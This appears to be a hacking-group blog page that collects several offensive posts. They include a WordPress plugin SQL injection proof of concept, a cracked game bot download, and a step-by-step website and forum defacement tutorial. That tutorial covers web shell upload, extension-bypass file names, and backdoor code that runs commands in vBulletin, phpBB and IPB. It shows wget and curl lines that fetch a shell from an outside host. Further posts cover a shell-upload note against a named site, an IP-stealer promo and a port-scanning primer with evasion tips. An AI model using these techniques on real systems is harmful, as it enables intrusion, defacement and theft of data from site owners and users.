WordPress Video Gallery 2.7 SQL Injection

# Exploit Title : Wordpress Video Gallery 2.7 SQL Injection Vulnerabilitiey

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery

# Software Link : https://downloads.wordpress.org/plugin/contus-video-gallery.2.7.zip

# Dork Google: inurl:/wp-admin/admin-ajax.php?action=rss


# Date : 2015-02-11

# Tested on : Windows 7 / Mozilla Firefox
Linux / Mozilla Firefox 

######################

# Vulnerability Disclosure Timeline:

2015-02-08: Discovered vulnerability
2015-02-09: Vendor Notification
2015-02-10: Vendor Response/Feedback 
2015-02-10: Vendor Send Fix/Patch 
2015-02-11: Public Disclosure 

# Description

Wordpress Video Gallery 2.7 suffers from SQL injection


######################

# PoC

http://target/wp-admin/admin-ajax.php?action=rss&type=video&vid=[SQLi]


#####################

# Fix/patch sended by apptha's developer

File: videogalleryrss.php

Change line n.47 

from:

$vid = filter_input(INPUT_GET,'vid');
to:

$vid = intval(filter_input(INPUT_GET,'vid'));

#####################

Discovered By : Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################

Steam Bot - Push your Gametime on Steam! | SteamGameFaker [CRACKED]

Hey.

Today I will puplish a crack for the SteamGameFaker bot.
The Bot will push your gametime on Steam.
You don't need to have the games installed.

Original thread: http://www.elitepvpers.com/forum/elite-g...st29887613


You will get your Trading Cards while the bot is running, too.

Virustotal:
https://www.virustotal.com/de/file/0c6b4...416172884/


DOWNLOAD

Download here

Instructions:

1. start SteamGameFaker.exe
2. put your steam link in it (http://steamcommunity.com/id/[USERNAME])
3. click on "Fill list from Steamcommunity"
4. click on "Start all Games"
5. Now they will open all games hidden and u get your gametime!

How to Deface Website/Forums Detailed ?

Here I will show you how to deface a website

First of all you will need shell. I will give you modified c100 shell which I use and it is undetectable.

Download Link: DL c100v2 FUD - Mediafire
Download Link: DL c100 Not FUD - Mediafire

If you are using c100v2 skip the part about setting username/password because it don't have it. If you are using c100 wich is false positive, disable your av and continue with tutorial. First when you download c100.php you will need to edit it with notepad. And set your Username and Password, so that only one who know

user/pw can access shell and website.



Thee green part, Username and passowrd edit as you like. But the md5 pass must be crypted. For that you go to 

Crypo.com - Here you will make your pas MD5 

So on crypo.com you write the password you writed in c100.php in my case it is hackforums and for that I

get this MD5 password, copy it and paste in our shell c100.php 

Code:

ad3dd2ebd28e5d7f81ec326fbdf1fa7b

So in my case c100 should look like this

Code:

$login = "Dimitrije"; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = "hackforums"; //password
$md5_pass = "ad3dd2ebd28e5d7f81ec326fbdf1fa7b"; //md5-cryped pass. if null, md5($pass)

When you do that, save it and now find on website place where you can upload some file. Sometimes the

website will block .php extension so you will have to bypass it. First open your shell with notepad and then Save As and change the

extension to one of these 

Code:

shell.php;.jpg
c100.php.jpg
c100.php..jpg
c100.php.jpg
c100.php.jpg:;
c100.php.jpg%;
c100.php.jpg;
c100.php.jpg;
c100.php.jpg:;

If website doesn't have any place where you can upload files, but have place where you can add news o

new event or something you can use meta http-equiv to make redirection from website to your deface page. You do that by adding this

code in news 

Code:

<meta http-equiv="refresh" content="0;url=http://link_to_your_defacee_page">

You could also use javascript

Code:

<script type="text/javascript">
<!--
window.location = "http://www.link_to_your_deface_page.html"
//-->
</script>

Once you find admin panel upload your shell, if you can't upload .php directly upload it with modified

extensions as I stated above. 



After you uploaded it find the link where you uploaded it, example if you uploaded it in images then it will be

in site/images/c100.php After you enter the link the new Pop up windows will apear and it will ask you for login. Here you write you

username and password your wrote in c100.php. After that you should get in website.

Sometimes simply extension hiding will not work so you will have to use one addon for firefox [url=https://addons.mozilla.org/en-

US/firefox/addon/live-http-headers/]Live HTTP Headers[/url] Install it and then hide shell extension, go to the upload section. Open Live

HTTP Headers and upload shell. Now if you try to go to the link where you have your shell uploaded it will give you error (only on some

websites) so we will have to change that hided .php.jpg extension into the .php. So as we uploaded the shell and opened the Live

HTTP Headers you should find where you have uploaded your shell. You will have to find the line where ti writes that you uploaded the

shell. Select it and then click on button reply. 



After that you will have to find once again the same line of code which shows that you have uploaded

shell. So when you find it select the extension you used to hide original .php. In my case it is .jpg (List of all these extension is given in

this tutorial at the beginning). When you select it delete it so that we have only c100.php. And after that once again click on reply.



It should take you to the shell screen and if it doesn't you will have to find manually where shell has been

uploaded and go to that link. Niote: This doesn't work for every website but work for a lot. Now you are in website.



Find main index.php and edit it with your deface page source code, and click save. Thats it 

Uploading shell on forums

// - vBulletin - //

To upload shell on vbulletin, we must have admin account with the access to tje tamplate and plug-ins.

1) Go to Plugins & Products, and click Add new Plugin, fill in a form like this

Code:

Product : vBulletin

Hook Location : global_start

Title : default_plugin (moze biti i bilo sta drugo)
Execution Order : 5

Plugin PHP Code:
ob_start();
system($_GET['cmd']);
$execcode = ob_get_contents();
ob_end_clean();

After you fill the information, save.

2) Now go to Styles & Templates --> Style Manager, and when selecting default style choose Edit Template. Choose from home templates

and expand it, and then click on ForumHome and edit. At first there is this code

Code:

$header
$navbar

That should be replaced with

Code:

$header
$execcode
$navbar

And then save

3) Now go to the forum starting page (forum home page), there sould be written somewhere "Cannot execute blank command"
In index.php we add -->

Code:

?cmd=wget http://www.link_to_shell.com/shell.txt;mv shell.txt shell.php

It should look like this then -->

Code:

http://site.com/forums/?cmd=wget http://www.link_to_shell.com/shell.txt;mv shell.txt shell.php

This download the content of shell.txt and rename it to shell.php We access to shell in directory of forum,

so if forum is installed in site.com/forums, shell is in site.com/forums/shell.php

If you are not able to reach across the shell wget, you can try to curl. In index.php add this:

Code:

?cmd=curl http://www.link_to_shell.com/shell.txt > shell.php

-->It then looks liek this ->

Code:

http://www.site.com/forums/index.php?cmd=curl http://www.link_to_shell.com/shell.txt> shell.php

// - phpBB - //

You log in as admin, choose the right Security Settings, scroll to Allow php in templates. That value must

be placed on Yes, if it is not set to yes. do it. When you do this go to Styles-->Templates-->Edit. For template choose faq_body.html
below:

Code:

<!-- INCLUDE overall_header.html -->

we add:

Code:

<!-- PHP -->
fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->

We save that and then go to

Code:

site.com/forum/faq.php?o=shell.php&i=http://link_to_shell.com/shell.txt

Shell is ready in site.com/forum/shell.php

// - IPB - //

This works for usual admins on ipb forum, because there are two types of admin (root and normal). So

we log in, select the tab at top named Lock and Feel then go to Manage Languages, we choose language and then section, for example

public_help
Now we edit help_txt
Choose a topic from the list, or search for a topic
in right field, add this code:

Code:

${${print $query='cd cache; wget http://link_do_shell/shell.txt;mv shell.txt shell.php'}}
${${system($query,$out)}}
${${print $out}}

When you add that, press GO at bottom. Now we go to

Code:

site.com/index.php?app=core&module=help

And the our code we added will execute and you will get your shell in site.com/cache/shell.php
Why cache, because it is by default chmod to 777-an

// - SMF - //

First we have to download some theme for smf. I used this one for example:

Code:

http://custom.simplemachines.org/themes/index.php?lemma=2216

Once you downloaded that theme, you pick up some shell and add it to .rar of that theme. Now log in to

admin panel and below Configuration part choose: Themes and Layout. Choose Install a New Theme and browse. Then pick up .ra

archive with theme you downloaded and put your shell in it. Then press install. When the theme is installed you could access to you

shell-->

Code:

site.com/forum/Themes/ime_arhive/shell.php

// - MyBB - //

So we log in as admin to site.com/admin and then go to Templayes&Style tab. Then you see what theme

is being used. You will see that by numbers of users that are next to theme name.Then to to templates at left and click on templates of

theme that is used. Search for Index Templates. Open it and click on index. Delete all code there and paste your deface page source.Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

( Admin )

Restaurantbiller SQL Injection / Shell Upload

[+] TITLE : Restaurantbiller Multiple Vulnerabilities[+] VENDOR : http://www.demo.restaurantbiller.com/[+] VERSION : -[+] AUTHOR : R3vanBastard[+] TESTED ON : Windows[+] DORK : "Powered by Restaurant Biller" inurl:/index.php?act=category&cid= 

DEMO: http://piXolos.ky//index.php?act=category&cid= [SQLi]
Login into admin panel then upload your backdoor (easy?)
Shell: http://piccXos.ky/UserFiles/Image/product_photos/54c7f27f03a59.shell.php
Note: You will get sensitive data in the database like payment information :D

IP Thief - Simple IP Stealer in PHP

A simple PHP script to capture the IP address of anyone that send the "imagen.php" file with the following options:

[+] It comes with an administrator to view and delete IP

[+] You can change the redirect URL image

[+] Can you see the country of the visitor

DownLoad Ip Theif Source by 劈水

Team Priv8 Squad!!! is Now Hiring Members !!!

Admin:

Yoshimura Heikichi

Johnray Deluna

Introduction to Telnet And Hacking

What is Telnet?

Telnet is the basic hacking tool, which every hacker must know how to use before he can even think about Hacking. It can be used to connect to remote computers and to run commands by simply typing them in it's
window.Telnet does not use the resources of the client's computer but uses the resources of the server to which the client has connected.
Basically it is a program that you will be using to connect to your victim's computer. It just requires that you and your victim are both connected to the internet.



How can I connect to a remote computers using telnet?

Telnet can be started by going to start -> run and typing telnet Once the Telnet windows pops up click on Connect->RemoteSystem then in the host name type the host i.e. the IP address of the remote computer or
the website you want to connect to . Then in the Port select the port you want to connect to . You can only connect to ports which are open on the host computer.Almost always leave the TermType to vt100.We use
vt100 as it is compatible with most monitors . Then click connect and you will be connected to the remote machine in some time.

The syntax of the telnet command from DOS prompt is
C:\>telnet
By default port is taken as 23. Scroll down and read more about ports.

What is an IP Address?

Like in this world , everyone has a Home Address so that he can be contacted on that address , similarly all computers connected to the Internet are assigned a unique Internet Protocol or IP address which
can be used to contact that particular computer. An IP is simply the address of a particular computer . Every computer connected to the internet has a differnet IP address.
An IP address is of the form: xxx.xxx.xxx.xxx .You can find your own IP by going to start->run and typing winipcfg.If you need to connect to a your friend's computer then you need the IP address of his computer . There are many ways of finding out the IP address of a person's computer without letting him know.

Ping : 7
Systat : 11
Time : 13
NetStat : 15
SSH : 22
Telnet : 23
SMTP : 25
Whois : 43
Finger : 79
HTTP : 80
POP : 110

You can connect to a remote computer at a particular port. When you are connected to that port then you can interchange information related to that particular port only. Ports can be open or closed. If a particular
port of a computer is closed then you can not connect to that computer on that port. Generally most of the computers have atleast 5 or 6 ports open.


Whats a Daemon?

A daemon is a program that runs at ports. You can consider it to be a software that manages the flow of information through the port . All the ports can have different daemon / services running on them.

 Port Scanning ?

It is the first step in finding a hackable server running a daemon. Like softwares can have bugs , similarly daemons can have a hole or a vulnerability .A hacker can utilize this hole for his purpose.
Say you want to hack into someone's server , what do you do ? You need the IP address of the computer you want to connect to . This is the first basic step . Once you have the IP , you need to know
which port is open so that you can connect to it . Every port may not be open so you need to find out a list of open ports which are running a daemon.Once you have the list of open ports on the victims computer then you can connect to any one of those ports .For this purpose we have port scanners. You just need to feed the IP address into the port scanner and it will give you the list of all the open ports of that IP.Some port scanners,alongwith the list of open ports also gives the service running on each port and its vulnerabilities.
Once you have got the list of open ports then connect to each of them one by one and see what daemon or service they are running.

 But one thing you need to be careful about before port scanning is that most port scanners are very easily detected and can easily be traced and you have no excuse if you are caught doing a port scan.
It a sure sign of Hacker Activity and if the host is running the right kind of Sniffer software maybe Etherpeek then the Port scan can be easily detected and the IP of the user logged . Once your IP is logged then you can be easily traced thru you internet service provider, so be careful with port scanning.

Yoshimura Heikichi(Priv Squad Web Security)Add or change other names